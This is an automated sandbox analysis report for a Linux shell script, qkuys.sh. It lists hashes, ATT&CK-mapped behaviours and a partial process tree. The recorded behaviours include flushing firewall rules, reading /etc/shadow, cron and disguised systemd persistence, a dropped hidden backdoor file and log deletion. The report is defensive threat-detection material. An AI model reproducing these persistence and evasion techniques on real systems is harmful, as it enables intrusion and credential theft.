419ffd921c30065febb636946ce80ec91d39e43323bc0b461852d7176ac966e2

Analysis

max time kernel
140s
max time network
31s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/07/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
qkuys.sh
Size 14KB
Sample260718-e3hjksbv81
SHA256 419ffd921c30065febb636946ce80ec91d39e43323bc0b461852d7176ac966e2
MD5 d9495544a6a1242fa38148bb0490301b
SHA1 72ffa4e43f8a42894817db383f1784739ac33140
SHA512 9381b2c0c15cd3a4dd84eaa7f51325970b41c8e1c9735d3cf7c3413d7818ff36d07e698390170f1092ac3b14ccab89b5f1db28515dd2b9215709968853c3903d
SSDEEP 192:gGFUcf6PVd2bqHtfeTi8X6XT+VTfqXP1NvzgN/O1z8pf4ZC3+Cs8r8TTeQEjJe5i:fvfG6WNfvWaC/nND7BEFnjrDq
TLSH
T1785296E1FCBC1434E247C579589E90526E423D2708036C2CB8EE96388F647B5D9BCA77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm credential_access defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1010	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/var/lib/dpkg/info/netcat-openbsd.postinst	981	dpkg
/var/lib/dpkg/info/bc.postinst	985	dpkg

Flushes firewall rules 1 TTPs 2 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
996	iptables
999	iptables

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	dpkg-preconfigure

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.2Wp9Ro	crontab

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/apt/eipp.log.xz	apt-get

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	fuser
File opened for reading	/proc/net/tcp	lsof

Enumerates running processes
Discovers information about currently running processes on the system

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ifconfig.me

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/systemd-network.service	qkuys.sh

Write file to user bin folder 3 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/bc.dpkg-new	dpkg
File opened for modification	/usr/bin/jq.dpkg-new	dpkg
File opened for modification	/usr/bin/lsof.dpkg-new	dpkg

Writes file to system bin folder 1 IoCs

description	ioc	Process
File opened for modification	/bin/nc.openbsd.dpkg-new	dpkg

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/12/maps	fuser
File opened for reading	/proc/15/maps	fuser
File opened for reading	/proc/24/maps	fuser
File opened for reading	/proc/42/maps	fuser
File opened for reading	/proc/4/maps	fuser
File opened for reading	/proc/28/maps	fuser
File opened for reading	/proc/106/maps	fuser
File opened for reading	/proc/312/maps	fuser
File opened for reading	/proc/8/maps	fuser
File opened for reading	/proc/26/maps	fuser
File opened for reading	/proc/27/maps	fuser
File opened for reading	/proc/577/maps	fuser
File opened for reading	/proc/588/maps	fuser
File opened for reading	/proc/2/maps	fuser
File opened for reading	/proc/141/maps	fuser
File opened for reading	/proc/289/maps	fuser
File opened for reading	/proc/640/maps	fuser
File opened for reading	/proc/7/maps	fuser
File opened for reading	/proc/16/maps	fuser
File opened for reading	/proc/19/maps	fuser
File opened for reading	/proc/20/maps	fuser
File opened for reading	/proc/103/maps	fuser
File opened for reading	/proc/220/maps	fuser
File opened for reading	/proc/29/maps	fuser
File opened for reading	/proc/74/maps	fuser
File opened for reading	/proc/5/maps	fuser
File opened for reading	/proc/9/maps	fuser
File opened for reading	/proc/23/maps	fuser
File opened for reading	/proc/156/maps	fuser
File opened for reading	/proc/186/maps	fuser
File opened for reading	/proc/638/maps	fuser
File opened for reading	/proc/303/maps	fuser
File opened for reading	/proc/579/maps	fuser
File opened for reading	/proc/641/maps	fuser
File opened for reading	/proc/6/maps	fuser
File opened for reading	/proc/13/maps	fuser
File opened for reading	/proc/629/maps	fuser
File opened for reading	/proc/18/maps	fuser
File opened for reading	/proc/165/maps	fuser
File opened for reading	/proc/587/maps	fuser
File opened for reading	/proc/139/maps	fuser
File opened for reading	/proc/284/maps	fuser
File opened for reading	/proc/329/maps	fuser
File opened for reading	/proc/1/maps	fuser
File opened for reading	/proc/14/maps	fuser
File opened for reading	/proc/135/maps	fuser
File opened for reading	/proc/323/maps	fuser
File opened for reading	/proc/648/maps	fuser
File opened for reading	/proc/3/maps	fuser
File opened for reading	/proc/17/maps	fuser
File opened for reading	/proc/25/maps	fuser
File opened for reading	/proc/96/maps	fuser
File opened for reading	/proc/274/maps	fuser
File opened for reading	/proc/563/maps	fuser
File opened for reading	/proc/990/maps	fuser
File opened for reading	/proc/10/maps	fuser
File opened for reading	/proc/11/maps	fuser
File opened for reading	/proc/21/maps	fuser
File opened for reading	/proc/41/maps	fuser
File opened for reading	/proc/43/maps	fuser
File opened for reading	/proc/278/maps	fuser
File opened for reading	/proc/639/maps	fuser
File opened for reading	/proc/22/maps	fuser
File opened for reading	/proc/105/maps	fuser

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	gpgv
File opened for reading	/proc/cpuinfo	gpgconf
File opened for reading	/proc/cpuinfo	gpg-connect-agent
File opened for reading	/proc/cpuinfo	gpgconf
File opened for reading	/proc/cpuinfo	gpg-connect-agent
File opened for reading	/proc/cpuinfo	gpgv
File opened for reading	/proc/cpuinfo	gpgconf
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	https
File opened for reading	/proc/cpuinfo	gpgv
File opened for reading	/proc/cpuinfo	gpg-connect-agent
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads system network configuration 1 TTPs 21 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	fuser
File opened for reading	/proc/net/raw	lsof
File opened for reading	/proc/net/netlink	lsof
File opened for reading	/proc/net/packet	lsof
File opened for reading	/proc/net/unix	lsof
File opened for reading	/proc/net/tcp	lsof
File opened for reading	/proc/net/sctp/assocs	lsof
File opened for reading	/proc/net/icmp	lsof
File opened for reading	/proc/net/ipx	lsof
File opened for reading	/proc/net/sockstat	lsof
File opened for reading	/proc/net/udp	lsof
File opened for reading	/proc/net/unix	fuser
File opened for reading	/proc/net/raw6	lsof
File opened for reading	/proc/net/sockstat6	lsof
File opened for reading	/proc/net/tcp6	lsof
File opened for reading	/proc/net/udp6	lsof
File opened for reading	/proc/net/udplite6	lsof
File opened for reading	/proc/net/udplite	lsof
File opened for reading	/proc/net/tcp6	fuser
File opened for reading	/proc/net/ax25	lsof
File opened for reading	/proc/net/sctp/eps	lsof

Command and Scripting Interpreter: Python 1 TTPs 52 IoCs

Execution via Python.

execution

Python

T1059.006

pid	Process
1076	python3
1118	python3
1125	python3
1136	python3
1011	python3
1083	python3
1090	python3
1090	python3
1097	python3
1097	python3
1111	python3
1118	python3
1062	python3
1083	python3
1090	python3
1125	python3
1125	python3
1136	python3
1136	python3
1011	python3
1076	python3
1111	python3
1118	python3
1104	python3
1069	python3
1011	python3
1029	python3
1029	python3
1029	python3
1069	python3
1083	python3
1111	python3
1062	python3
1076	python3
1097	python3
1104	python3
1104	python3
1118	python3
1125	python3
1136	python3
1011	python3
1069	python3
1069	python3
1083	python3
1090	python3
1097	python3
1104	python3
1111	python3
1029	python3
1062	python3
1062	python3
1076	python3

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/274/status	pkill
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/156/fd	lsof
File opened for reading	/proc/289/fdinfo/9	lsof
File opened for reading	/proc/588/stat	lsof
File opened for reading	/proc/990/fd	lsof
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/323/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/303/fd	fuser
File opened for reading	/proc/8/fd	lsof
File opened for reading	/proc/11/fd	lsof
File opened for reading	/proc/641/fd	lsof
File opened for reading	/proc/96/cmdline	pkill
File opened for reading	/proc/990/status	pkill
File opened for reading	/proc/3/fd	lsof
File opened for reading	/proc/289/fdinfo/8	lsof
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/186/status	pkill
File opened for reading	/proc/1/fdinfo/52	lsof
File opened for reading	/proc/141/fdinfo/20	lsof
File opened for reading	/proc/577/fdinfo/8	lsof
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/12/fd	lsof
File opened for reading	/proc/563/fdinfo/3	lsof
File opened for reading	/proc/329/cmdline	pkill
File opened for reading	/proc/638/cmdline	pkill
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/9/stat	lsof
File opened for reading	/proc/105/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/587/cmdline	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/17/fd	fuser
File opened for reading	/proc/25/stat	lsof
File opened for reading	/proc/588/fd	lsof
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/577/cmdline	pkill
File opened for reading	/proc/1007/cmdline	pkill
File opened for reading	/proc/self/auxv	gpgconf
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/1/stat	lsof
File opened for reading	/proc/103/stat	lsof
File opened for reading	/proc/641/cmdline	pkill
File opened for reading	/proc/135/cmdline	pkill
File opened for reading	/proc/640/cmdline	pkill
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/17/fd	lsof
File opened for reading	/proc/278/fdinfo/5	lsof
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/312/status	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/96/status	pkill
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/18/stat	lsof
File opened for reading	/proc/165/fdinfo/5	lsof
File opened for reading	/proc/220/fd	lsof

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1013	curl

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/apt-key-gpghome.J6URHkNJLg/gpg.1.sh	apt-key
File opened for modification	/tmp/apt.data.QukQsv	gpgv
File opened for modification	/tmp/fileutl.message.4UBZuu	apt-get
File opened for modification	/tmp/apt.data.QU6gGz	gpgv
File opened for modification	/tmp/apt-key-gpghome.J6URHkNJLg/pubring.orig.gpg	cp
File opened for modification	/tmp/fileutl.message.ye1V6F	apt-get
File opened for modification	/tmp/fileutl.message.bZz7Gc	apt-get
File opened for modification	/tmp/fileutl.message.2Zbn3e	apt-get
File opened for modification	/tmp/fileutl.message.HJDEH2	apt-get
File opened for modification	/tmp/apt-key-gpghome.oOZMR10DmB/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.ME6Zu9	apt-get
File opened for modification	/tmp/fileutl.message.ovLbJk	apt-get
File opened for modification	/tmp/fileutl.message.GQz8FK	apt-get
File opened for modification	/tmp/apt.sig.s1NqE5	gpgv
File opened for modification	/tmp/apt-key-gpghome.idGt9WLstj/pubring.gpg	apt-key
File opened for modification	/tmp/apt-key-gpghome.idGt9WLstj/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.Gzqqij	apt-get
File opened for modification	/tmp/apt.conf.CRLzxB	gpgv
File opened for modification	/tmp/apt-key-gpghome.idGt9WLstj/pubring.gpg	touch
File opened for modification	/tmp/apt-key-gpghome.idGt9WLstj/pubring.orig.gpg	cp
File opened for modification	/tmp/fileutl.message.4mCpLq	apt-get
File opened for modification	/tmp/.systemd-backdoor.py	qkuys.sh
File opened for modification	/tmp/sh-thd.sS9kN9	qkuys.sh
File opened for modification	/tmp/sh-thd.UftoWt	qkuys.sh
File opened for modification	/tmp/fileutl.message.oRlu7e	apt-get
File opened for modification	/tmp/fileutl.message.gAOuTT	apt-get
File opened for modification	/tmp/fileutl.message.IdhJlc	apt-get
File opened for modification	/tmp/apt.conf.WHyGHW	gpgv
File opened for modification	/tmp/fileutl.message.MnKqSo	apt-get
File opened for modification	/tmp/apt.sig.c1B16I	gpgv
File opened for modification	/tmp/fileutl.message.yaLJjp	apt-get
File opened for modification	/tmp/fileutl.message.Pan4PX	apt-get
File opened for modification	/tmp/apt-key-gpghome.J6URHkNJLg/pubring.gpg	touch
File opened for modification	/tmp/apt-key-gpghome.J6URHkNJLg/pubring.gpg	apt-key
File opened for modification	/tmp/apt.conf.9zd8js	gpgv
File opened for modification	/tmp/fileutl.message.VhMTfa	apt-get
File opened for modification	/tmp/fileutl.message.LQAAGp	apt-get

Software Deployment Tools 1 TTPs 3 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
660	apt-get
904	apt-get
980	dpkg

/tmp/qkuys.sh
/tmp/qkuys.sh
1⤵
- Modifies systemd
- Writes file to tmp directory
PID:641
- /bin/mkdir
  mkdir -p /tmp/.systemd-tasks
  2⤵
  PID:647
- /bin/date
  date
  2⤵
  PID:655
- /usr/bin/apt-get
  apt-get update -qq
  2⤵
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:660
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:665
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:671
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    PID:672
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    - Checks CPU configuration
    PID:674
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:675
- - /usr/lib/apt/methods/gpgv
    /usr/lib/apt/methods/gpgv
    3⤵
    PID:677
- - /usr/lib/apt/methods/gpgv
    /usr/lib/apt/methods/gpgv
    3⤵
    - Writes file to tmp directory
    PID:678
  - - /usr/bin/apt-key
      /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /tmp/apt.sig.s1NqE5 /tmp/apt.data.QU6gGz
      4⤵
      Writes file to tmp directory
      PID:680
    - - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        5⤵
        Reads runtime system information
        
        PID:682
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:683
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        5⤵
        
        PID:684
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:685
    - - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        5⤵
        
        PID:686
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:687
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        5⤵
        
        PID:688
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:689
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
        5⤵
        
        PID:690
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:691
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
        5⤵
        
        PID:692
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:694
    - - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        5⤵
        
        PID:697
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:701
    - - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        5⤵
        
        PID:703
    - - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.idGt9WLstj
        5⤵
        
        PID:704
    - - /bin/readlink
        
        readlink -f /tmp/apt-key-gpghome.idGt9WLstj
        5⤵
        
        PID:706
    - - /bin/rm
        
        rm -f /tmp/apt-key-gpghome.idGt9WLstj/pubring.gpg
        5⤵
        
        PID:708
    - - /usr/bin/touch
        
        touch /tmp/apt-key-gpghome.idGt9WLstj/pubring.gpg
        5⤵
        Writes file to tmp directory
        
        PID:709
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
        5⤵
        
        PID:710
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:714
    - - /bin/readlink
        
        readlink -f /etc/apt/trusted.gpg.d/
        5⤵
        
        PID:716
    - - /usr/bin/find
        
        find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 "(" -name "*.gpg" -o -name "*.asc" ")"
        5⤵
        
        PID:717
    - - /usr/bin/sort
        
        sort
        5⤵
        
        PID:722
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
        5⤵
        
        PID:726
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
        5⤵
        
        PID:728
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
        5⤵
        
        PID:731
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
        5⤵
        
        PID:734
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
        5⤵
        
        PID:737
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
        5⤵
        
        PID:740
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
        5⤵
        
        PID:742
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
        5⤵
        
        PID:745
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
        5⤵
        
        PID:748
    - - /bin/cp
        
        cp -a /tmp/apt-key-gpghome.idGt9WLstj/pubring.gpg /tmp/apt-key-gpghome.idGt9WLstj/pubring.orig.gpg
        5⤵
        Writes file to tmp directory
        
        PID:749
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:754
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:757
    - - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.idGt9WLstj --keyring /tmp/apt-key-gpghome.idGt9WLstj/pubring.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.s1NqE5 /tmp/apt.data.QU6gGz
        5⤵
        Checks CPU configuration
        
        PID:759
    - - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        5⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:775
      - /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        6⤵
        Checks CPU configuration
        
        PID:776
    - - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.idGt9WLstj
        5⤵
        
        PID:778
  - - /usr/bin/apt-key
      /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release.gpg /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release
      4⤵
      Writes file to tmp directory
      PID:783
    - - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        5⤵
        Reads runtime system information
        
        PID:785
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:786
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        5⤵
        Reads runtime system information
        
        PID:788
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:789
    - - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        5⤵
        
        PID:790
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:791
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        5⤵
        
        PID:792
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:793
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
        5⤵
        
        PID:794
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:795
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
        5⤵
        
        PID:796
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:797
    - - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        5⤵
        
        PID:799
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:800
    - - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        5⤵
        
        PID:801
    - - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.J6URHkNJLg
        5⤵
        
        PID:802
    - - /bin/readlink
        
        readlink -f /tmp/apt-key-gpghome.J6URHkNJLg
        5⤵
        
        PID:803
    - - /bin/rm
        
        rm -f /tmp/apt-key-gpghome.J6URHkNJLg/pubring.gpg
        5⤵
        
        PID:804
    - - /usr/bin/touch
        
        touch /tmp/apt-key-gpghome.J6URHkNJLg/pubring.gpg
        5⤵
        Writes file to tmp directory
        
        PID:805
    - - /usr/bin/apt-config
        
        apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
        5⤵
        
        PID:806
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:807
    - - /bin/readlink
        
        readlink -f /etc/apt/trusted.gpg.d/
        5⤵
        
        PID:808
    - - /usr/bin/find
        
        find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 "(" -name "*.gpg" -o -name "*.asc" ")"
        5⤵
        
        PID:809
    - - /usr/bin/sort
        
        sort
        5⤵
        
        PID:812
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
        5⤵
        
        PID:814
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
        5⤵
        
        PID:816
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
        5⤵
        
        PID:818
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
        5⤵
        
        PID:820
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
        5⤵
        
        PID:822
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
        5⤵
        
        PID:824
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
        5⤵
        
        PID:826
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
        5⤵
        
        PID:828
    - - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
        5⤵
        
        PID:830
    - - /bin/cp
        
        cp -a /tmp/apt-key-gpghome.J6URHkNJLg/pubring.gpg /tmp/apt-key-gpghome.J6URHkNJLg/pubring.orig.gpg
        5⤵
        Writes file to tmp directory
        
        PID:831
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:834
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:837
    - - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.J6URHkNJLg --keyring /tmp/apt-key-gpghome.J6URHkNJLg/pubring.gpg --ignore-time-conflict --status-fd 3 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release.gpg /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release
        5⤵
        Checks CPU configuration
        
        PID:838
    - - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        5⤵
        Checks CPU configuration
        
        PID:846
      - /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        6⤵
        Checks CPU configuration
        
        PID:848
    - - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.J6URHkNJLg
        5⤵
        
        PID:849
  - - /usr/bin/apt-key
      /usr/bin/apt-key --quiet --readonly --keyring /etc/apt/keyrings/nodesource.gpg verify --status-fd 3 /tmp/apt.sig.c1B16I /tmp/apt.data.QukQsv
      4⤵
      Writes file to tmp directory
      PID:855
    - - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        5⤵
        
        PID:858
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:861
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        5⤵
        
        PID:863
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:866
    - - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        5⤵
        
        PID:868
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:871
    - - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        5⤵
        
        PID:873
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:876
    - - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        5⤵
        
        PID:879
      - /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        6⤵
        
        PID:883
    - - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        5⤵
        
        PID:884
    - - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.oOZMR10DmB
        5⤵
        
        PID:886
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:891
    - - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        5⤵
        
        PID:894
    - - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.oOZMR10DmB --keyring /etc/apt/keyrings/nodesource.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.c1B16I /tmp/apt.data.QukQsv
        5⤵
        Checks CPU configuration
        
        PID:896
    - - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        5⤵
        Checks CPU configuration
        
        PID:897
      - /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        6⤵
        Checks CPU configuration
        
        PID:898
    - - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.oOZMR10DmB
        5⤵
        
        PID:899
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:900
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:903
